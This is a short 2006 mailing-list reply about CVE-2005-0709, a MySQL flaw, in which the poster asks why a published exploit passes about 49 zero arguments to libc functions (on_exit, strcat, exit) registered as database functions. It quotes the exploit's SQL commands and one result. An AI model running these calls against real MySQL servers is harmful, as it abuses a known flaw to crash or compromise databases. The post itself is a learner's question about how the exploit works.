Re: CVE-2005-0709
am 30.04.2006 14:31:18 von datameme
Hi,
Cheers for that, in the explanation given at neohapsis, it all makes
sense until the SELECT 'function name' bits at the end where each is
provided with 49ish parameters (all zeros). Arent they expecting just a
couple of arguments to satify the pointers strcat, on_exit are
expecting and just an int for exit:
if:
char *strcat(char *dest, const char *src);
int on_exit(void (*function)(int , void *), void *arg);
void exit(int status);
why?
Supposing we have created strcat, on_exit and exit into MySql DBMS,
mysql> select on_exit(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
->,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)\G
....
mysql> select strcat(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
->,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)\G
*************************** 1. row ***************************
strcat(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 ,0,0,0,\
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0): 1
1 row in set (0.00 sec)
mysql> select exit();